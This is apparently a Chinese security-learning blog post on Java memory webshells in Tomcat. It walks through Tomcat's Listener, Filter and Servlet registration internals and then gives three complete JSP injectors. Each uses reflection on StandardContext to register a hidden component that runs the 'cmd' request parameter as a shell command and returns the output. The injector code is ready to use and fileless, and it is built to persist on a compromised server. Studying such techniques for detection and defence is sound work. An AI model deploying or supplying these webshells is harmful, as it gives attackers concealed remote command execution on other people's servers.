0%

JAVA内存马

6193d09c503d8e057afa1636_Java code review checklist-min-p-1600

前言

环境:Tomcat8.5.73 + jdk1.8

前置知识

java web三大组件

  • Servlet
  • Filter
  • Listener

处理请求时,处理顺序如下

请求 → Listener → Filter → Servlet

Tomcat相关

搬运自Y4tacker大佬 JavaSec/Tomcat介绍.md at main · Y4tacker/JavaSec (github.com)

主要功能

Tomcat 作为Web服务器,实现了两个核心功能

  • Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报文
  • Servlet 容器功能:加载和管理 Servlet,由 Servlet 具体负责处理 Request 请求

以上两个功能,分别对应着tomcat的两个核心组件连接器(Connector)和容器(Container),连接器负责对外交流(完成 Http 服务器功能),容器负责内部处理(完成 Servlet 容器功能)

image-20220408095517957

  • Server 代表整个 tomcat 服务器,一个 tomcat 只有一个 Server Server 中包含至少一个 Service 组件,用于提供具体服务。
  • Service 服务是 Server 内部的组件,一个Server可以包括多个Service。它将若干个 Connector 组件绑定到一个 Container
  • Connector 称为连接器,一个 Service 可以有多个 Connector,主要连接客户端请求,用于接受请求并将请求封装成 Request 和 Response,然后交给 Container 进 行处理,Container 处理完之后在交给 Connector 返回给客户端,接收不同的连接协议。
  • Container 称为容器,负责处理用户的 servlet 请求

Connector连接器

连接器主要完成以下三个核心功能:

  • socket 通信,也就是网络编程
  • 解析处理应用层协议,封装成一个 Request 对象
  • 将 Request 转换为 ServletRequest,将 Response 转换为 ServletResponse

以上分别对应三个组件 EndPoint、Processor、Adapter 来完成。Endpoint 负责提供请求字节流给Processor,Processor 负责提供 Tomcat 定义的 Request 对象给 Adapter,Adapter 负责提供标准的 ServletRequest 对象给 Servlet 容器。

image-20220408095636418

Endpoint与Processor有一个组合名称为ProtocolHandler

Container容器

Container组件又称作Catalina,其是Tomcat的核心。在Container中,有4种容器,分别是Engine、Host、Context、Wrapper。

image-20220408095812036

四种容器的作用:

  • Engine 表示整个 Catalina 的 Servlet 引擎,用来管理多个虚拟站点,一个 Service 最多只能有一个 Engine,但是一个引擎可包含多个 Host。实现类为org.apache.catalina.core.StandardEngine
  • Host 代表一个虚拟主机,或者说一个站点,可以给 Tomcat 配置多个虚拟主机地址,而一个虚拟主机下可包含多个 Context。实现类为org.apache.catalina.core.StandardHost
  • Context 表示一个 Web 应用程序,每一个Context都有唯一的path,一个Web应用可包含多个 Wrapper。实现类为org.apache.catalina.core.StandardContext
  • Wrapper 表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等。实现类为org.apache.catalina.core.StandardWrapper

image-20220408095845813

从HTTP请求到Servlet

Tomcat使用Mapper组件来将用户请求的URL定位到某个Servlet。Mapper组件里保存了WEB应用的配置信息,也就是容器组件与访问路径的映射关系。比如Host容器里配置的域名、Context容器里的WEB应用路径以及Wrapper容器里Servlet映射的路径。

Mapper组件通过解析请求URL里的域名和路径,再到自己保存的Map里去找,就能定位到一个Servlet。 最终一个请求URL只会定位到一个Wrapper容器,也就是一个Servlet 。

三种Context

Tomcat中有如下三种Context: ServletContext、StandardContext、ApplicationContext。下面这张图很好的展现了这三个Context的结构。context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

image-20220409173327449

  • ServerletContext(是一个接口)

    通过 request.getServletContext() 获取到的是ApplicationContextFacade对象,它是对ServerletContext接口的实现类,该类提供了Web应用所有Servlet的视图,可以对某个Web应用的各种资源和功能进行访问。

    WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext。它代表当前Web应用,并且它被所有客户端共享

  • ApplicationContext

    ApplicationContext也是对ServerletContext接口的实现类,由上图可知该类被包装在ApplicationContextFacade类中。

  • StandardContext

    org.apache.catalina.Context接口的默认实现为StandardContext,而Context在Tomcat中代表一个web应用。ApplicationContext所实现的方法其实都是调用的StandardContext中的方法,StandardContext是Tomcat中真正起作用的Context

Tomcat中Context对象的获取

作为初学者,在借鉴文章时对这里进行思考可能利用的方式,对于为什么获取Context的对象,根据上面的图,可能是反射获取Context对象之后添加新的路由,编写对应的servlet,更改相关配置,然后到达目的

对于Tomcat,一个Web应用中Context组件为org.apache.catalina.core.StandardContext的对象,在动态注册Servlet组件内存马时,获取StandContext对象成为关键点,通过哪种方式可以获取该对象,有以下几种方式

有request对象时

web应用中request.getServletContext是ApplicationContextFacade对象。该对象对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以当request存在的时候我们可以通过反射来获取StandardContext对象

ServletContext servletContext = request.getServletContext();//获取到applicationcontextFacade  
Field fieldApplicationContext = servletContext.getClass().getDeclaredField("context");//利用反射获取ApplicationContext对象
fieldApplicationContext.setAccessible(true);//使私有可获取
ApplicationContext applicationContext = (ApplicationContext) fieldApplicationContext.get(servletContext);//获取到ApplicationContext对象

Field fieldStandardContext = applicationContext.getClass().getDeclaredField("context");//利用反射获取StandardContext对象
fieldStandardContext.setAccessible(true);//使私有可获取
StandardContext standardContext = (StandardContext) fieldStandardContext.get(applicationContext);//获取到StandardContext对象

看到还存在一种方式

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

实际 Tomcat 在使用 request 的时候不是用的 Request 这个类,而是 RequestFacade,来看一下

image-20220428110656959

而在Request中,存在方法 getContext,获取context

image-20220428110742571

无request对象时(坑)

存在以下几种方式

  • currentThread中的ContextClassLoader中获取
  • ThreadLocal中获取
  • 从MBean中获取

实现方式先挖坑

JAVA内存马的“一生” - 先知社区 (aliyun.com)

Tomcat 架构与Context分析 | MYZXCG

Java内存马:一种Tomcat全版本获取StandardContext的新方法 - 先知社区 (aliyun.com)

内存马的分类

大致分为三类

  • 基于动态添加Servlet组件的内存马
  • 基于动态添加框架组件的内存马
  • 基于 Javaagent 和 Javassist 技术的内存马

将按照顺序进行学习与实现

内存马的实现

动态注册Servlet三大件

这部分就是对于 Listener、Filter、servlet 进行对应的实现

Listener

Listener即为监听器,用来监听对象或流程的创建与销毁,分为三类

  • ServletContext,服务器启动与终止时触发
  • Session,与Session操作有关
  • Request,访问服务时触发

image-20220427223133595

其中Request对象的监听器适合做内存马。

对于listener的引入,需要实现两种接口LifecycleListener和原生EvenListener

实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。

所以来看另一个EventListener接口,在Tomcat中,自定义了很多继承于EventListener的接口,应用于各个对象的监听。

idea中 ctrl+H 查看实现接口的类

image-20220427230228713

其中就有ServletRequestListener,来看一下这个接口,提供了两个方法,用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法,这样可以在访问请求时,实现恶意代码的触发

image-20220427230436522

简单监听器的实现

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println("requestDestroyed");
}

@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println("requestInitialized");
}
}

添加web.xml

<listener>
<listener-class>TestListener</listener-class>
</listener>

任意访问,发现确实是执行了

image-20220427232113842

流程分析

一个断点下到 requestInitialized,看下调用链

requestInitialized:12, TestListener
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

image-20220427233619096

在StandardContext#fireRequestInitEvent()中通过 调用本类中的 getApplicationEventListeners()获取到 listener,最后调用requestInitialized(event),传入的event就是一些request的信息

image-20220427234213687

image-20220427233716767

跟进 StandardContext#getApplicationEventListeners(),返回了 applicationEventListenersList

image-20220427234453198

搜一下,不难发现 StandardContext#addApplicationEventListener() 添加了listener

image-20220428001143412

那内存马实现方式就有思路了,通过反射调用 StandardContext#addApplicationEventListener() 添加我们编写的恶意listener

实现

test.jsp

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
class MyListener implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req =(HttpServletRequest) sre.getServletRequest();
if(req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext()?s.next():"";

//反射获取 response
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);


} catch (IOException e) { }
catch (NoSuchFieldException e) { }
catch (IllegalAccessException e) { }
}
}

@Override
public void requestInitialized(ServletRequestEvent sre) {

}
}

%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
MyListener myListener = new MyListener();
stdcontext.addApplicationEventListener(myListener);
%>

image-20220428111216794

Filter

filter就是在请求到达servlet前进行一次预处理,访问资源完成后,再次返回到filter中,可以实现身份权限验证,日志记录

简单过滤器的实现

TestFilter

import javax.servlet.*;
import java.io.IOException;

public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("[+]filter init");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//放行前,对 request处理
System.out.println("before filter");
//放行,调用下一个filter链
chain.doFilter(request,response);
//放行后,对response处理
System.out.println("after filter");
}

@Override
public void destroy() {
System.out.println("[+]filter destroy");
}
}

添加web.xml

<filter>
<filter-name>TestFilter</filter-name>
<filter-class>TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

image-20220428115408269

流程分析

一个断点下到 chain.doFilter(request,response);

doFilter:13, TestFilter
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:196, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

image-20220428115638585

ApplicationFilterChain#internalDoFilter(),从当前的 filters数组中取出一个filterConfig类型的对象,然后调用getFilter()获取filter后调用doFilter(),也就是我们编写的doFilter方法

image-20220428154710366

看一下filters是怎么定义的,通过 创建了 ApplicationFilterConfig 对象来定义的对象数组,这里的值是怎么改变的后面在说

image-20220428155718027

向上 ApplicationFilterChain#doFilter() 调用了 internalDoFilter()

image-20220428162936642

向上,在 StandardWrapperValve#invoke()中,filterChain中存放了两个 ApplicationFilterConfig 类型的filter,第一个就是自己创建的filter

image-20220428163206210

跟一下 filterChain 的定义,在 StandardWrapperValve#invoke中通过 createFilterChain() 获得了一个 ApplicationFilterChain 的对象

image-20220428152749125

那么 createFilterChain() 需要重点关注,看看它是怎么把我们编写的TestFiler添加到ApplicationFilterConfig类型的filters变量中,跟进 ApplicationFilterFactory#createFilterChain,首先获取Request,然后通过getFilterChain()获取filterChain

image-20220506152221020

往下通过 StandardContext 对象的findFilterMaps()获取filterMaps[]

image-20220428170204636

通过遍历 filterMaps[],找到 StandardContext 对象中的FilterConfig,然后通过filterChain.addFilter把FilterConfig加入了filterChain中

image-20220428170549419

跟进 ApplicationFilterChain#addFilter(),将传入的 filterConfig 添加到ApplicationFilterConfig中,这里就对应上面改变filters的值的地方

image-20220428173308779

这里需要关注三个变量

  1. filterConfigs:存放 filterDef(见 filterDefs) **,filter 实例对象**及其他信息
  2. filterDefs:存放过滤器名、过滤器全限定名及其他信息
  3. filterMaps:存放过滤器名字(FilterName 对应作用 url(URLPattern

存放在StandardContext对象context中

image-20220506155640818

联系到Filter型内存马,肯定需要找到能修改StandardContext对象中这三个变量的值的地方。既然三个变量从StandardContext中获得,我们去查看有什么方法进行修改

1)filterMaps

找到了两个方法 StandardContext#addFilterMap() 和 StandardContext#addFilterMapBefore()

image-20220506160629266

2)filterConfigs

找到了StandardContext#filterStart(),根据查找的资料这个方法主要功能为:根据filterDefs初始化 filterConfigs,从代码可知先将filterDefs从HashMap类型转为集合类型,然后获取一个迭代器,通过while进行遍历,获取name,通过一个ApplicationFilterConfig类型的对象filterConfig,获得filter的实例,最后通过put,添加到filterConfigs

image-20220506163749910

3)filterDefs

从上面可以看出来,最原始的数据都是从filterDefs中获得的,搜索它的值从什么地方来找到了StandardContext#addFilterDef()

tomcat启动时,去解析web.xml时会调用这里所以我们去简单跟进一下web.xml的启动过程。

ContextConfig#configureStart()调用ContextConfig#webConfig(),使用webxml解析器来解析web.xml然后存放到webxml变量中

image-20220506182316657

又调用ContextConfig#configureContext()获取web.xml中的filter,进行遍历然后调用StandardContext#addFilterDef()

image-20220506182131998

StandardContext#addFilterDef(),传入name 和 filterDef

image-20220506175731942

实现

理解了过程,就可以通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %><%--
Created by IntelliJ IDEA.
User: cys
Date: 2022/5/6
Time: 18:30
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Filter</title>
</head>
<body>
<%
//获取context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

//获取上下文的filterConfigs
Field Configs = stdcontext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(stdcontext); //获取filterConfigs的所有字段,map类型

//创建恶意的filter
final String name = "Y0ng"; //filter的name
if(filterConfigs.get(name)==null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { }

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
return;
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}
};

//创建对应的FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//利用addFilterDef污染filterDefs
stdcontext.addFilterDef(filterDef);

//创建对应的FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/Y0ng");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将恶意filter放置第一位
stdcontext.addFilterMapBefore(filterMap);

//调用反射方法,去创建filterConfig实例
Constructor constructor = ApplicationFilterConfig.class.getConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(stdcontext, filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
</body>
</html>

image-20220506213023216

image-20220506213036061

Servlet

简单的servlet的实现

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<h1>Y0ng</h1>");
}
}

添加web.xml

<servlet>
<servlet-name>test</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>test</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>

或者

@WebServlet(value = {"/test"})

image-20220508132415119

流程分析

tomcat启动加载Servlet源码浅析_weixin_34100227的博客-CSDN博客_servlet加载

所以加载engine这个Container,会递归加载子Container。从engine.start() -> host.start() -> context.start(),context的实现类StandardContext中有一个startInternal方法,它触发了一个init的时候设置的监听器ContextConfig,这个监听器将进行Context的相关配置处理

StandardContext#startInternal(),会触发 ContextConfig#lifecycleEvent(LifecycleEvent event)

image-20220508155103205

在ContextConfig中触发的方法为 ContextConfig#lifecycleEvent(LifecycleEvent event),然后委托给方法 ContextConfig#configureStart() 进行处理

image-20220508144010994

ContextConfig#configureStart()中有一个核心方法为ContextConfig#webConfig()

image-20220508144159729

对web.xml进行解析,放入webXml中

image-20220508144637218

然后调用 ContextConfig#configureContext(webXml)

image-20220508150710884

看看其中对servlet的相关操作,先获取所有的servlet,通过StandardContext#createWrapper()创建一个wrapper

image-20220508151011019

接下来是对这个wrapper进行包装相关servlet的信息

image-20220508151905197

跟进下这个StandardContext#addChild(wrapper),判断name是不是jsp,然后调用super.addChild,即ContainerBase#addChild()

image-20220508152436848

发现又调用了ContainerBase#addChildInternal()

image-20220508152934288

将child装入到hashmap类型的children中

image-20220508153311469

调用了LifecycleBase#start()启动组件的生命周期:深入理解Tomcat(二)Lifecycle

image-20220508153704979

返回到 StandardContext#startInternal()中 loadOnStartup(this.findChildren()) 开始加载servlet

image-20220508160143956

ContainerBase#findChildren(),将上面的children(所有的wrapper)放入到容器中,然后返回

image-20220508160329387

StandardContext#loadOnStartup(),可以看出遍历所有的wrapper,通过getLoadOnStartup()获得一个数(类似状态码),如果大于等于0,将其添加到map中

image-20220508161242506

跟进standardWrapper#getLoadOnStartup(),默认loadOnStartup = -1

image-20220508161919284

在servlet的配置当中,**<load-on-startup>1</load-on-startup>**的含义是:标记容器是否在启动的时候就加载这个servlet
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。

正数的值越小,启动该servlet的优先级越高

由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载

然后就是遍历符合条件的wrapper,通过load()进行加载

image-20220508162614238

image-20220508162915068

创建了servlet实例

image-20220508163118564

实现

了解了过程,攻击思路就是:children中存放了很多个child,对应着一个个的wrapper,最后创建了servlet的实例,所以我们需要一个恶意的servlet,并对其进行包装成一个恶意的wrapper,装入到children中,对应的方法就是StandardContext#addChild。

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
Created by IntelliJ IDEA.
User: cys
Date: 2022/5/8
Time: 16:59
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%

HttpServlet httpServlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
return;
}

}
};
//获取context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

//创建恶意wrapper
Wrapper wrapper = stdcontext.createWrapper();
String name = "Y0ng";
wrapper.setName(name);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());

//将Wrapper添加到StandardContext
stdcontext.addChild(wrapper);
stdcontext.addServletMappingDecoded("/Y0ng", name);
out.print("Inject Success !");
%>

</body>
</html>

image-20220508172806272

image-20220508172830181